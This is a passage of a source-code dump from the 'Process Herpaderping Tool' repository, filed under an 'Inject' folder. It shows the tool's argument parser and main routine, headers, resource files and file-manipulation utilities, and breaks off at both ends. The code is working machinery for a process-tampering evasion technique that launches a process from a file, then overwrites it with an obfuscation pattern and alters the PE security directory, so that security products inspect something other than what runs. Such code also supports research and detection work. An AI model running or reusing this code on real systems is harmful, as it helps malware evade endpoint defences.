kernel).\\n\"\nL\" Not valid with \\\"--exclusive\\\" option.\\n\"\nL\" -k,--kill Terminates the spawned process regardless of\\n\"\nL\" success or failure, this is useful in some\\n\"\nL\" automation environments. Forces \\\"--do-not-wait\\n\"\nL\" option.\"\n };\n\n Parameters() = default;\n\n /// \n /// Parses command line arguments and stores the data in the class.\n /// \n /// \n /// Number of command line arguments.\n /// \n /// \n /// Command line arguments.\n /// \n /// \n /// Success if arguments were parsed successfully. Failure otherwise.\n /// \n _Must_inspect_result_ virtual HRESULT ParseArguments(\n _In_ int Argc,\n _In_reads_(Argc) const wchar_t* Argv[]) override\n {\n if (Argc < 3)\n {\n return E_INVALIDARG;\n }\n\n m_TargetBinary = Argv[1];\n m_FileName = Argv[2];\n\n for (int i = 3; i < Argc; i++)\n {\n std::wstring arg = Argv[i];\n\n //\n // Check for optional flags.\n //\n if (SUCCEEDED(Utils::MatchParameter(arg, L\"l\", L\"logging-mask\")))\n {\n i++;\n if (i >= Argc)\n {\n return E_INVALIDARG;\n }\n try\n {\n m_LoggingMask = std::stoul(Argv[i], 0, 0);\n }\n catch (...)\n {\n //\n // Invalid number...\n //\n return E_INVALIDARG;\n }\n continue;\n }\n if (SUCCEEDED(Utils::MatchParameter(arg, L\"d\", L\"do-not-wait\")))\n {\n ClearFlag(m_HerpaderpFlags, Herpaderp::FlagWaitForProcess);\n continue;\n }\n if (SUCCEEDED(Utils::MatchParameter(arg, L\"q\", L\"quiet\")))\n {\n m_Quiet = true;\n continue;\n }\n if (SUCCEEDED(Utils::MatchParameter(arg, L\"r\", L\"random-obfuscation\")))\n {\n m_RandomObfuscation = true;\n continue;\n }\n if (SUCCEEDED(Utils::MatchParameter(arg, L\"e\", L\"exclusive\")))\n {\n SetFlag(m_HerpaderpFlags, Herpaderp::FlagHoldHandleExclusive);\n continue;\n }\n if (SUCCEEDED(Utils::MatchParameter(arg, L\"u\", L\"do-not-flush-file\")))\n {\n ClearFlag(m_HerpaderpFlags, Herpaderp::FlagFlushFile);\n continue;\n }\n if (SUCCEEDED(Utils::MatchParameter(arg, L\"c\", L\"close-file-early\")))\n {\n SetFlag(m_HerpaderpFlags, Herpaderp::FlagCloseFileEarly);\n continue;\n }\n if (SUCCEEDED(Utils::MatchParameter(arg, L\"k\", L\"kill\")))\n {\n SetFlag(m_HerpaderpFlags, Herpaderp::FlagKillSpawnedProcess);\n ClearFlag(m_HerpaderpFlags, Herpaderp::FlagWaitForProcess);\n continue;\n }\n\n //\n // Assume replace with target.\n //\n m_ReplaceWith = arg;\n }\n\n return S_OK;\n }\n\n _Must_inspect_result_ virtual HRESULT ValidateArguments() const override\n {\n if (FlagOn(m_HerpaderpFlags, Herpaderp::FlagHoldHandleExclusive) &&\n FlagOn(m_HerpaderpFlags, Herpaderp::FlagCloseFileEarly))\n {\n //\n // These options are incompatible.\n //\n return E_FAIL;\n }\n return S_OK;\n }\n\n /// Gets the tool usage string.\n /// Tool usage string.\n virtual std::wstring_view GetUsage() const override\n {\n return Usage;\n }\n\n /// Gets the target binary string.\n /// Target binary string.\n const std::wstring& TargetBinary() const\n {\n return m_TargetBinary;\n }\n\n /// Gets the file name string.\n /// File name string.\n const std::wstring& FileName() const\n {\n return m_FileName;\n }\n\n /// Gets the replace with string.\n /// Replace with string.\n const std::optional& ReplaceWith() const\n {\n return m_ReplaceWith;\n }\n\n /// Gets the logging bit mask.\n /// Logging bit mask.\n uint32_t LoggingMask() const\n {\n return m_LoggingMask;\n }\n\n /// Gets the quiet boolean.\n /// Quiet boolean.\n bool Quiet() const\n {\n return m_Quiet;\n }\n\n /// Gets the random obfuscation boolean.\n /// Random obfuscation boolean.\n bool RandomObfuscation() const\n {\n return m_RandomObfuscation;\n }\n\n /// Gets herpaderp flags.\n /// Herpaderp flags.\n uint32_t HerpaderpFlags() const\n {\n return m_HerpaderpFlags;\n }\n \nprivate:\n\n std::wstring m_TargetBinary;\n std::wstring m_FileName;\n std::optional m_ReplaceWith{ std::nullopt };\n uint32_t m_LoggingMask\n {\n Log::Success |\n Log::Information |\n Log::Warning |\n Log::Error |\n Log::Context\n };\n bool m_Quiet{ false };\n bool m_RandomObfuscation{ false };\n uint32_t m_HerpaderpFlags\n { \n Herpaderp::FlagWaitForProcess | \n Herpaderp::FlagFlushFile \n };\n};\n\n/// \n/// Main entry point for Process Herpaderping Tool.\n/// \n/// \n/// Number of command line arguments.\n/// \n/// \n/// Command line arguments.\n/// \n/// \n/// EXIT_SUCCESS on success, EXIT_FAILURE on failure or invalid parameters.\n/// \nint wmain(\n _In_ int Argc, \n _In_reads_(Argc) const wchar_t* Argv[])\n{\n Parameters params;\n if (FAILED(Utils::HandleCommandLineArgs(Argc,\n Argv,\n Constants::ToolHeader,\n params)))\n {\n return EXIT_FAILURE;\n }\n\n if (params.Quiet())\n {\n //\n // Run quietly, no header and override the logging mask.\n //\n Utils::SetLoggingMask(0);\n }\n else\n {\n std::wcout << Constants::ToolHeader << L'\\n';\n Utils::SetLoggingMask(params.LoggingMask());\n }\n\n //\n // Herpaderp wants a pattern to use for obfuscation, set that up here.\n //\n HRESULT hr;\n std::span pattern = Constants::Pattern;\n std::vector patternBuffer;\n\n if (params.RandomObfuscation())\n {\n //\n // Use a random pattern instead.\n //\n patternBuffer.resize(Constants::RandPatterLen);\n hr = Utils::FillBufferWithRandomBytes(patternBuffer);\n if (FAILED(hr))\n {\n Utils::Log(Log::Error, \n hr,\n L\"Failed to generate random buffer\");\n return EXIT_FAILURE;\n }\n pattern = std::span(patternBuffer);\n }\n\n hr = Herpaderp::ExecuteProcess(params.TargetBinary(), \n params.FileName(), \n params.ReplaceWith(), \n pattern,\n params.HerpaderpFlags());\n if (FAILED(hr))\n {\n Utils::Log(Log::Error, hr, L\"Process Herpaderp Failed\");\n return EXIT_FAILURE;\n }\n\n Utils::Log(Log::Success, L\"Process Herpaderp Succeeded\");\n return EXIT_SUCCESS;\n}\n" }, { "path": "Inject/herpaderping-main/source/ProcessHerpaderping/pch.hpp", "content": "//\n// Copyright (c) Johnny Shaw. All rights reserved.\n// \n// File: pch.hpp \n// Author: Johnny Shaw\n// Abstract: Pre-compiled Header \n//\n#pragma once\n\n//\n// Windows\n//\n#define WIN32_LEAN_AND_MEAN\n#define WIN32_NO_STATUS\n#include \n#undef WIN32_NO_STATUS\n#include \n#include \n#include \n#include \n\n//\n// STL\n//\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n//\n// Third Party\n//\n#pragma warning(push)\n#pragma warning(disable : 6387) // prefast: does not adhere to the specification for the function\n#pragma warning(disable : 6001) // prefast: using uninitialized memory \n#pragma warning(disable : 6388) // prefast: data may not be value \n#pragma warning(disable : 4634) // xmldoc: discarding XML document comment for invalid target \n#pragma warning(disable : 4635) // xmldoc: badly-formatted XML \n#include \n#include \n#include \n#include \n#pragma warning(pop)\n#pragma warning(push)\n#pragma warning(disable : 4201) // nameless struct/union\n#pragma warning(disable : 4324) // structure was padded due to __declspec(align())\n#pragma warning(disable : 4471) // a forward declaration of an unscoped enumeration\n#pragma warning(disable : 28253) // prefast: Inconsistent annotation\n#define PHNT_VERSION PHNT_THRESHOLD\n#include \n#include \n#include \n#include \n#include \n#pragma warning(pop)\n\n//\n// Common Macros/Defines/Usings\n//\n#define SCAST(_X_) static_cast<_X_>\n#define RCAST(_X_) reinterpret_cast<_X_>\n#define CCAST(_X_) const_cast<_X_>\n#define DCAST(_X_) dynamic_cast<_X_>\n#define Add2Ptr(_P_, _X_) RCAST(void*)(RCAST(uintptr_t)(_P_) + _X_)\n#ifndef FlagOn\n#define FlagOn(_F_, _X_) ((_F_) & (_X_))\n#endif\n#ifndef SetFlag\n#define SetFlag(_F_, _X_) ((_F_) |= (_X_))\n#endif\n#ifndef ClearFlag\n#define ClearFlag(_F_, _X_) ((_F_) &= ~(_X_))\n#endif\nusing handle_t = HANDLE;\n\n//\n// wil extensions\n//\nnamespace wil \n{\n using unique_user_process_parameters = unique_any<\n PRTL_USER_PROCESS_PARAMETERS,\n decltype(&RtlDestroyProcessParameters),\n RtlDestroyProcessParameters>;\n}\n#define RETURN_LAST_ERROR_SET(win32err) SetLastError(win32err); RETURN_LAST_ERROR()\n\n//\n// prefast suppression\n//\n#pragma warning(disable : 6319) // prefast: use of the comma-operator in a tested expression\n\n//\n// Internal\n//\n#include \"res/version.h\"\n" }, { "path": "Inject/herpaderping-main/source/ProcessHerpaderping/res/resource.h", "content": "//\n// Copyright (c) Johnny Shaw. All rights reserved.\n// \n// File: source/ProcessHerpaderping/res/resource.h\n// Author: Johnny Shaw\n// Abstract: Resource Header \n//\n#define IDI_ICON 101\n" }, { "path": "Inject/herpaderping-main/source/ProcessHerpaderping/res/resource.rc", "content": "//\n// Copyright (c) Johnny Shaw. All rights reserved.\n// \n// File: source/ProcessHerpaderping/res/resource.rc\n// Author: Johnny Shaw\n// Abstract: Resource File \n//\n#include \n#include \n#include \"resource.h\"\n#include \"version.h\"\n\nIDI_ICON ICON \"Icon.ico\"\n\n\nVS_VERSION_INFO VERSIONINFO\n FILEVERSION VER_MAJOR,VER_MINOR,VER_PATCH,VER_BUILD \n PRODUCTVERSION VER_MAJOR,VER_MINOR,VER_PATCH,VER_BUILD\n FILEFLAGSMASK 0x3fL\n#ifdef _DEBUG\n FILEFLAGS 0x1L\n#else\n FILEFLAGS 0x0L\n#endif\n FILEOS 0x40004L\n FILETYPE 0x1L\n FILESUBTYPE 0x0L\nBEGIN\n BLOCK \"StringFileInfo\"\n BEGIN\n BLOCK \"040904b0\"\n BEGIN\n VALUE \"CompanyName\", STR_COMPANY_NAME \n VALUE \"FileDescription\", STR_FILE_DESCRIPTION\n VALUE \"FileVersion\", STR_VERSION\n VALUE \"InternalName\", STR_INTERNAL_NAME\n VALUE \"LegalCopyright\", STR_COPYRIGHT\n VALUE \"OriginalFilename\", STR_ORIGINAL_FILENAME\n VALUE \"ProductName\", STR_PRODUCT_NAME\n VALUE \"ProductVersion\", STR_PRODUCT_VERSION\n END\n END\n BLOCK \"VarFileInfo\"\n BEGIN\n VALUE \"Translation\", 0x409, 1200\n END\nEND\n" }, { "path": "Inject/herpaderping-main/source/ProcessHerpaderping/res/version.h", "content": "//\n// Copyright (c) Johnny Shaw. All rights reserved.\n// \n// File: source/ProcessHerpaderping/res/version.h\n// Author: Johnny Shaw\n// Abstract: Version Header \n//\n#pragma once\n#define VER_MAJOR 1\n#define VER_MINOR 0\n#define VER_PATCH 0\n#define VER_BUILD 1\n\n#define MKSTR(_x_) #_x_\n#define MKWSTR(_x_) L##_x_\n#define VER_MAKE_STR(_Major_, _Minor_, _Patch_, _Build_)\\\nMKSTR(_Major_) \".\" \\\nMKSTR(_Minor_) \".\" \\\nMKSTR(_Patch_) \".\" \\\nMKSTR(_Build_)\n#define VER_MAKE_WSTR(_Major_, _Minor_, _Patch_, _Build_)\\\nMKWSTR(_Major_) L\".\" \\\nMKWSTR(_Minor_) L\".\" \\\nMKWSTR(_Patch_) L\".\" \\\nMKWSTR(_Build_)\n\n#define WSTR_COMPANY_NAME L\"Johnny Shaw\"\n#define STR_COMPANY_NAME \"Johnny Shaw\"\n#define WSTR_COPYRIGHT L\"Copyright (c) 2020 Johnny Shaw\"\n#define STR_COPYRIGHT \"Copyright (c) 2020 Johnny Shaw\"\n#define WSTR_ORIGINAL_FILENAME L\"ProcessHerpaderping.exe\"\n#define STR_ORIGINAL_FILENAME \"ProcessHerpaderping.exe\"\n#define WSTR_PRODUCT_NAME L\"Process Herpaderping Tool\"\n#define STR_PRODUCT_NAME \"Process Herpaderping Tool\"\n#define WSTR_FILE_DESCRIPTION WSTR_PRODUCT_NAME\n#define STR_FILE_DESCRIPTION STR_PRODUCT_NAME\n#define WSTR_INTERNAL_NAME L\"ProcessHerpaderping\"\n#define STR_INTERNAL_NAME \"ProcessHerpaderping\"\n#define WSTR_VERSION VER_MAKE_WSTR(VER_MAJOR, VER_MINOR, VER_PATCH, VER_BUILD)\n#define STR_VERSION VER_MAKE_STR(VER_MAJOR, VER_MINOR, VER_PATCH, VER_BUILD)\n#define WSTR_PRODUCT_VERSION WSTR_VERSION\n#define STR_PRODUCT_VERSION STR_VERSION\n" }, { "path": "Inject/herpaderping-main/source/ProcessHerpaderping/utils.cpp", "content": "//\n// Copyright (c) Johnny Shaw. All rights reserved.\n// \n// File: source/ProcessHerpaderping/utils.cpp\n// Author: Johnny Shaw\n// Abstract: Utility functionality for herpaderping. \n//\n#include \"pch.hpp\"\n#include \"utils.hpp\"\n\nnamespace Utils\n{\n static uint32_t g_LoggingMask{ 0xffffffff };\n constexpr static uint32_t MaxFileBuffer{ 0x8000 }; // 32kib\n}\n\n_Use_decl_annotations_\nHRESULT Utils::MatchParameter(\n std::wstring_view Arg,\n std::optional Short,\n std::optional Long)\n{\n if (Arg.length() < 2)\n {\n RETURN_LAST_ERROR_SET(ERROR_INVALID_PARAMETER);\n }\n\n if (Long.has_value() && (Arg[0] == L'-') && (Arg[1] == L'-'))\n {\n if (wcscmp(&Arg[2], Long->data()) == 0)\n {\n return S_OK;\n }\n }\n if (Short.has_value() && ((Arg[0] == L'-') || (Arg[0] == L'/')))\n {\n if (wcscmp(&Arg[1], Short->data()) == 0)\n {\n return S_OK;\n }\n }\n\n return E_FAIL;\n}\n\n_Use_decl_annotations_\nHRESULT Utils::CheckForHelpOptions(\n int Argc,\n const wchar_t* Argv[])\n{\n for (int i = 0; i < Argc; i++)\n {\n if (SUCCEEDED(MatchParameter(Argv[i], L\"h\", L\"help\")) || \n SUCCEEDED(MatchParameter(Argv[i], L\"?\", std::nullopt)))\n {\n return S_OK;\n }\n }\n return E_NOT_SET;\n}\n\n_Use_decl_annotations_\nHRESULT Utils::HandleCommandLineArgs(\n int Argc,\n const wchar_t* Argv[],\n std::optional Header,\n IArgumentParser& Parser)\n{\n if (SUCCEEDED(CheckForHelpOptions(Argc, Argv)) ||\n FAILED(Parser.ParseArguments(Argc, Argv)) ||\n FAILED(Parser.ValidateArguments()))\n {\n if (Header.has_value())\n {\n std::wcout << *Header << L'\\n';\n }\n std::wcout << Parser.GetUsage();\n return E_FAIL;\n }\n\n return S_OK;\n}\n\n_Use_decl_annotations_\nstd::wstring Utils::FormatError(uint32_t Error)\n{\n wil::unique_any buffer;\n std::wstring message;\n auto length = FormatMessageW(FORMAT_MESSAGE_ALLOCATE_BUFFER |\n FORMAT_MESSAGE_FROM_SYSTEM |\n FORMAT_MESSAGE_IGNORE_INSERTS,\n nullptr,\n Error,\n MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),\n RCAST(LPWSTR)(&buffer),\n 0,\n nullptr);\n if ((buffer != nullptr) && (length > 0))\n {\n message = std::wstring(buffer.get(), length);\n }\n else\n {\n length = FormatMessageW(FORMAT_MESSAGE_ALLOCATE_BUFFER |\n FORMAT_MESSAGE_FROM_SYSTEM |\n FORMAT_MESSAGE_FROM_HMODULE |\n FORMAT_MESSAGE_IGNORE_INSERTS,\n GetModuleHandleA(\"ntdll.dll\"),\n Error,\n MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),\n RCAST(LPWSTR)(&buffer),\n 0,\n nullptr);\n if ((buffer != nullptr) && (length > 0))\n {\n //\n // NT status codes are formatted with inserts, only use the \n // initial description if there is one, otherwise just use the \n // string as is.\n //\n message = std::wstring(buffer.get(), length);\n if (message[0] == L'{')\n {\n auto pos = message.find(L'}', 1);\n if (pos != std::wstring::npos)\n {\n message = std::wstring(message.begin() + 1,\n message.begin() + pos);\n }\n }\n }\n }\n\n if (message.empty())\n {\n message = L\"Unknown Error\";\n }\n\n std::wstringstream ss;\n ss << L\"0x\"\n << std::hex << std::setfill(L'0') << std::setw(8) << Error \n << L\" - \"\n << std::move(message);\n\n auto res = ss.str();\n EraseAll(res, { L'\\r', L'\\n', L'\\t' });\n\n return res;\n}\n\n_Use_decl_annotations_\nvoid Utils::SetLoggingMask(uint32_t Level)\n{\n g_LoggingMask = Level;\n}\n\nstatic const wchar_t* GetLogLevelPrefix(_In_ uint32_t Level)\n{\n if (Level & Log::Error)\n {\n return L\"[ERROR] \";\n }\n else if (Level & Log::Warning)\n {\n return L\"[WARN] \";\n }\n else if (Level & Log::Information)\n {\n return L\"[INFO] \";\n }\n else if (Level & Log::Debug)\n {\n return L\"[DEBUG] \";\n }\n\n return L\"[OK] \";\n}\n\nstatic void LogInternal(\n _In_ bool AppendError,\n _In_ uint32_t Error,\n _In_ uint32_t Level,\n _Printf_format_string_ const wchar_t* Format,\n _In_ va_list Args)\n{\n if ((Level & Utils::g_LoggingMask) == 0)\n {\n return;\n }\n\n std::wstring line;\n if (Utils::g_LoggingMask & Log::Context)\n {\n wil::str_printf_nothrow(line, \n L\"[%lu:%lu]\",\n GetCurrentProcessId(),\n GetCurrentThreadId());\n }\n\n line += GetLogLevelPrefix(Level);\n\n std::wstring fmt;\n HRESULT hr = wil::details::str_vprintf_nothrow(fmt, Format, Args);\n if (FAILED(hr))\n {\n fmt = L\"Formatting Error \" + Utils::FormatError(hr);\n }\n line += std::move(fmt);\n\n if (AppendError)\n {\n line += L\", \";\n line += Utils::FormatError(Error);\n }\n\n if (Level & Log::Error)\n {\n std::wcerr << line << L'\\n';\n }\n else\n {\n std::wcout << line << L'\\n';\n }\n}\n\n_Use_decl_annotations_\nvoid Utils::Log(\n uint32_t Level, \n const wchar_t* Format, \n ...)\n{\n va_list args;\n va_start(args, Format);\n LogInternal(false, 0, Level, Format, args);\n va_end(args);\n}\n\n_Use_decl_annotations_\nuint32_t Utils::Log(\n uint32_t Level, \n uint32_t Error, \n const wchar_t* Format, \n ...)\n{\n va_list args;\n va_start(args, Format);\n LogInternal(true, Error, Level, Format, args);\n va_end(args);\n return Error;\n}\n\n_Use_decl_annotations_\nHRESULT Utils::FillBufferWithPattern(\n std::vector& Buffer,\n std::span Pattern)\n{\n if (Buffer.empty())\n {\n RETURN_LAST_ERROR_SET(ERROR_INVALID_PARAMETER);\n }\n\n auto bytesRemaining = Buffer.size();\n while (bytesRemaining > 0)\n {\n auto len = (Pattern.size() > bytesRemaining ? \n bytesRemaining \n : \n Pattern.size());\n\n std::memcpy(&Buffer[Buffer.size() - bytesRemaining],\n Pattern.data(),\n Pattern.size());\n\n bytesRemaining -= len;\n }\n\n return S_OK;\n}\n\n_Use_decl_annotations_\nHRESULT Utils::FillBufferWithRandomBytes(\n std::vector& Buffer)\n{\n if (Buffer.empty())\n {\n RETURN_LAST_ERROR_SET(ERROR_INVALID_PARAMETER);\n }\n\n RETURN_IF_NTSTATUS_FAILED(\n BCryptGenRandom(nullptr,\n Buffer.data(),\n SCAST(ULONG)(Buffer.size()),\n BCRYPT_USE_SYSTEM_PREFERRED_RNG));\n\n return S_OK;\n}\n\n_Use_decl_annotations_\nHRESULT Utils::GetFileSize(\n handle_t FileHandle,\n uint64_t& FileSize)\n{\n FileSize = 0;\n\n LARGE_INTEGER fileSize;\n RETURN_IF_WIN32_BOOL_FALSE(GetFileSizeEx(FileHandle, &fileSize));\n\n if (fileSize.QuadPart < 0)\n {\n RETURN_LAST_ERROR_SET(ERROR_FILE_INVALID);\n }\n\n FileSize = fileSize.QuadPart;\n return S_OK;\n}\n\n_Use_decl_annotations_\nHRESULT Utils::SetFilePointer(\n handle_t FileHandle,\n int64_t DistanceToMove,\n uint32_t MoveMethod)\n{\n LARGE_INTEGER distance;\n distance.QuadPart = DistanceToMove;\n\n RETURN_IF_WIN32_BOOL_FALSE_EXPECTED(SetFilePointerEx(FileHandle,\n distance,\n nullptr,\n MoveMethod));\n return S_OK;\n}\n\n_Use_decl_annotations_\nHRESULT Utils::CopyFileByHandle(\n handle_t SourceHandle, \n handle_t TargetHandle,\n bool FlushFile)\n{\n //\n // Get the file sizes.\n //\n uint64_t sourceSize;\n RETURN_IF_FAILED(GetFileSize(SourceHandle, sourceSize));\n\n uint64_t targetSize;\n RETURN_IF_FAILED(GetFileSize(TargetHandle, targetSize));\n\n //\n // Set the file pointers to the beginning of the files.\n //\n RETURN_IF_FAILED(SetFilePointer(SourceHandle, 0, FILE_BEGIN));\n RETURN_IF_FAILED(SetFilePointer(TargetHandle, 0, FILE_BEGIN));\n\n uint64_t bytesRemaining = sourceSize; \n std::vector buffer;\n if (bytesRemaining > MaxFileBuffer)\n {\n buffer.assign(MaxFileBuffer, 0);\n }\n else\n {\n buffer.assign(SCAST(size_t)(bytesRemaining), 0);\n }\n\n while (bytesRemaining > 0)\n {\n if (bytesRemaining < buffer.size())\n {\n buffer.assign(SCAST(size_t)(bytesRemaining), 0);\n }\n\n DWORD bytesRead = 0;\n RETURN_IF_WIN32_BOOL_FALSE(ReadFile(SourceHandle,\n buffer.data(),\n SCAST(DWORD)(buffer.size()),\n &bytesRead,\n nullptr));\n\n bytesRemaining -= bytesRead;\n\n DWORD bytesWitten = 0;\n RETURN_IF_WIN32_BOOL_FALSE(WriteFile(TargetHandle,\n buffer.data(),\n SCAST(DWORD)(buffer.size()),\n &bytesWitten,\n nullptr));\n }\n\n if (FlushFile)\n {\n RETURN_IF_WIN32_BOOL_FALSE(FlushFileBuffers(TargetHandle));\n }\n RETURN_IF_WIN32_BOOL_FALSE(SetEndOfFile(TargetHandle));\n\n return S_OK;\n}\n\n_Use_decl_annotations_\nHRESULT Utils::OverwriteFileContentsWithPattern(\n handle_t FileHandle,\n std::span Pattern,\n bool FlushFile)\n{\n uint64_t targetSize;\n RETURN_IF_FAILED(GetFileSize(FileHandle, targetSize));\n RETURN_IF_FAILED(SetFilePointer(FileHandle, 0, FILE_BEGIN));\n\n uint64_t bytesRemaining = targetSize; \n std::vector buffer;\n if (bytesRemaining > MaxFileBuffer)\n {\n buffer.resize(MaxFileBuffer);\n RETURN_IF_FAILED(FillBufferWithPattern(buffer, Pattern));\n }\n else\n {\n buffer.resize(SCAST(size_t)(bytesRemaining));\n RETURN_IF_FAILED(FillBufferWithPattern(buffer, Pattern));\n }\n\n while (bytesRemaining > 0)\n {\n if (bytesRemaining < buffer.size())\n {\n buffer.resize(SCAST(size_t)(bytesRemaining));\n RETURN_IF_FAILED(FillBufferWithPattern(buffer, Pattern));\n }\n\n DWORD bytesWritten = 0;\n RETURN_IF_WIN32_BOOL_FALSE(WriteFile(FileHandle,\n buffer.data(),\n SCAST(DWORD)(buffer.size()),\n &bytesWritten,\n nullptr));\n\n bytesRemaining -= bytesWritten;\n }\n\n if (FlushFile)\n {\n RETURN_IF_WIN32_BOOL_FALSE(FlushFileBuffers(FileHandle));\n }\n\n return S_OK;\n}\n\n_Use_decl_annotations_\nHRESULT Utils::ExtendFileWithPattern(\n handle_t FileHandle,\n uint64_t NewFileSize,\n std::span Pattern,\n uint32_t& AppendedBytes,\n bool FlushFile)\n{\n AppendedBytes = 0;\n\n uint64_t targetSize;\n RETURN_IF_FAILED(GetFileSize(FileHandle, targetSize));\n\n if (targetSize >= NewFileSize)\n {\n RETURN_LAST_ERROR_SET(ERROR_FILE_TOO_LARGE);\n }\n\n RETURN_IF_FAILED(SetFilePointer(FileHandle, 0, FILE_END));\n\n uint64_t bytesRemaining;\n bytesRemaining = (NewFileSize - targetSize);\n std::vector buffer;\n if (bytesRemaining > MaxFileBuffer)\n {\n buffer.resize(MaxFileBuffer);\n RETURN_IF_FAILED(FillBufferWithPattern(buffer, Pattern));\n }\n else\n {\n buffer.resize(SCAST(size_t)(bytesRemaining));\n RETURN_IF_FAILED(FillBufferWithPattern(buffer, Pattern));\n }\n\n while (bytesRemaining > 0)\n {\n DWORD bytesWritten = 0;\n\n if (bytesRemaining < buffer.size())\n {\n buffer.resize(SCAST(size_t)(bytesRemaining));\n RETURN_IF_FAILED(FillBufferWithPattern(buffer, Pattern));\n }\n\n RETURN_IF_WIN32_BOOL_FALSE(WriteFile(FileHandle,\n buffer.data(),\n SCAST(DWORD)(buffer.size()),\n &bytesWritten,\n nullptr));\n\n bytesRemaining -= bytesWritten;\n AppendedBytes += bytesWritten;\n }\n\n if (FlushFile)\n {\n RETURN_IF_WIN32_BOOL_FALSE(FlushFileBuffers(FileHandle));\n }\n\n return S_OK;\n}\n\n_Use_decl_annotations_\nHRESULT Utils::OverwriteFileAfterWithPattern(\n handle_t FileHandle,\n uint64_t FileOffset,\n std::span Pattern,\n uint32_t& WrittenBytes,\n bool FlushFile)\n{\n WrittenBytes = 0;\n\n uint64_t targetSize;\n RETURN_IF_FAILED(GetFileSize(FileHandle, targetSize));\n\n if (FileOffset >= targetSize)\n {\n RETURN_LAST_ERROR_SET(ERROR_INVALID_PARAMETER);\n }\n\n RETURN_IF_FAILED(SetFilePointer(FileHandle, FileOffset, FILE_BEGIN));\n\n uint64_t bytesRemaining;\n bytesRemaining = (targetSize - FileOffset);\n std::vector buffer;\n if (bytesRemaining > MaxFileBuffer)\n {\n buffer.resize(MaxFileBuffer);\n RETURN_IF_FAILED(FillBufferWithPattern(buffer, Pattern));\n }\n else\n {\n buffer.resize(SCAST(size_t)(bytesRemaining));\n RETURN_IF_FAILED(FillBufferWithPattern(buffer, Pattern));\n }\n\n while (bytesRemaining > 0)\n {\n DWORD bytesWritten = 0;\n\n if (bytesRemaining < buffer.size())\n {\n buffer.resize(SCAST(size_t)(bytesRemaining));\n RETURN_IF_FAILED(FillBufferWithPattern(buffer, Pattern));\n }\n\n RETURN_IF_WIN32_BOOL_FALSE(WriteFile(FileHandle,\n buffer.data(),\n SCAST(DWORD)(buffer.size()),\n &bytesWritten,\n nullptr));\n\n bytesRemaining -= bytesWritten;\n WrittenBytes += bytesWritten;\n }\n\n if (FlushFile)\n {\n RETURN_IF_WIN32_BOOL_FALSE(FlushFileBuffers(FileHandle));\n }\n\n return S_OK;\n}\n\n_Use_decl_annotations_\nHRESULT Utils::ExtendFileSecurityDirectory(\n handle_t FileHandle,\n uint32_t ExtendedBy,\n bool FlushFile)\n{\n uint64_t targetSize;\n RETURN_IF_FAILED(GetFileSize(FileHandle, targetSize));\n\n wil::unique_handle mapping;\n ULARGE_INTEGER mappingSize;\n mappingSize.QuadPart = targetSize;\n mapping.reset(CreateFileMappingW(FileHandle,\n nullptr,\n PAGE_READWRITE,\n mappingSize.HighPart,\n mappingSize.LowPart,\n nullptr));\n RETURN_LAST_ERROR_IF(!mapping.is_valid());\n\n wil::unique_mapview_ptr view;\n view.reset(MapViewOfFile(mapping.get(),\n FILE_MAP_READ | FILE_MAP_WRITE,\n 0,\n 0,\n mappingSize.LowPart));\n RETURN_LAST_ERROR_IF(view == nullptr);\n\n auto dosHeader = RCAST(PIMAGE_DOS_HEADER)(view.get());\n if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE)\n {\n //\n // This is not a PE file, we're done.\n //\n RETURN_LAST_ERROR_SET(ERROR_INVALID_IMAGE_HASH);\n }\n\n auto ntHeader = RCAST(PIMAGE_NT_HEADERS32)(Add2Ptr(view.get(), \n dosHeader->e_lfanew));\n if (ntHeader->Signature != IMAGE_NT_SIGNATURE)\n {\n RETURN_LAST_ERROR_SET(ERROR_INVALID_IMAGE_HASH);\n }\n\n IMAGE_DATA_DIRECTORY* secDir;\n if (ntHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC)\n {\n if (ntHeader->OptionalHeader.NumberOfRvaAndSizes < IMAGE_DIRECTORY_ENTRY_SECURITY)\n {\n //\n // No security directory, we're done.\n //\n return S_OK;\n }\n secDir = &ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY];\n }\n else if (ntHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC)\n {\n auto ntHeader64 = RCAST(PIMAGE_NT_HEADERS64)(ntHeader);\n if (ntHeader64->OptionalHeader.NumberOfRvaAndSizes < IMAGE_DIRECTORY_ENTRY_SECURITY)\n {\n //\n // No security directory, we're done.\n //\n return S_OK;\n }\n secDir = &ntHeader64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY];\n }\n else\n {\n RETURN_LAST_ERROR_SET(ERROR_INVALID_IMAGE_HASH);\n }\n\n if ((secDir->VirtualAddress) == 0 || (secDir->Size == 0))\n {\n //\n // No security directory, we're done.\n //\n return S_OK;\n }\n\n //\n // Extend the security directory size.\n //\n secDir->Size = (secDir->Size + ExtendedBy);\n\n RETURN_IF_WIN32_BOOL_FALSE(FlushViewOfFile(view.get(),\n mappingSize.LowPart));\n\n view.reset();\n mapping.reset();\n\n if (FlushFile)\n {\n RETURN_IF_WIN32_BOOL_FALSE(FlushFileBuffers(FileHandle));\n }\n\n return S_OK;\n}\n\n_Use_decl_annotations_\nHRESULT Utils::GetImageEntryPointRva(\n handle_t FileHandle,\n uint32_t& EntryPointRva)\n{\n EntryPointRva = 0;\n\n uint64_t fileSize;\n RETURN_IF_FAILED(GetFileSize(FileHandle, fileSize));\n\n ULARGE_INTEGER mappingSize;\n wil::unique_handle mapping;\n mappingSize.QuadPart = fileSize;\n mapping.reset(CreateFileMappingW(FileHandle,\n nullptr,\n PAGE_READONLY,\n mappingSize.HighPart,\n mappingSize.LowPart,\n nullptr));\n RETURN_LAST_ERROR_IF(!mapping.is_valid());\n\n wil::unique_mapview_ptr view;\n view.reset(MapViewOfFile(mapping.get(),\n FILE_MAP_READ,\n 0,\n 0,\n mappingSize.LowPart));\n RETURN_LAST_ERROR_IF(view == nullptr);\n\n auto dosHeader = RCAST(PIMAGE_DOS_HEADER)(view.get());\n if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE)\n {\n RETURN_LAST_ERROR_SET(ERROR_INVALID_IMAGE_HASH);\n }\n\n auto ntHeader = RCAST(PIMAGE_NT_HEADERS32)(Add2Ptr(view.get(),\n dosHeader->e_lfanew));\n if 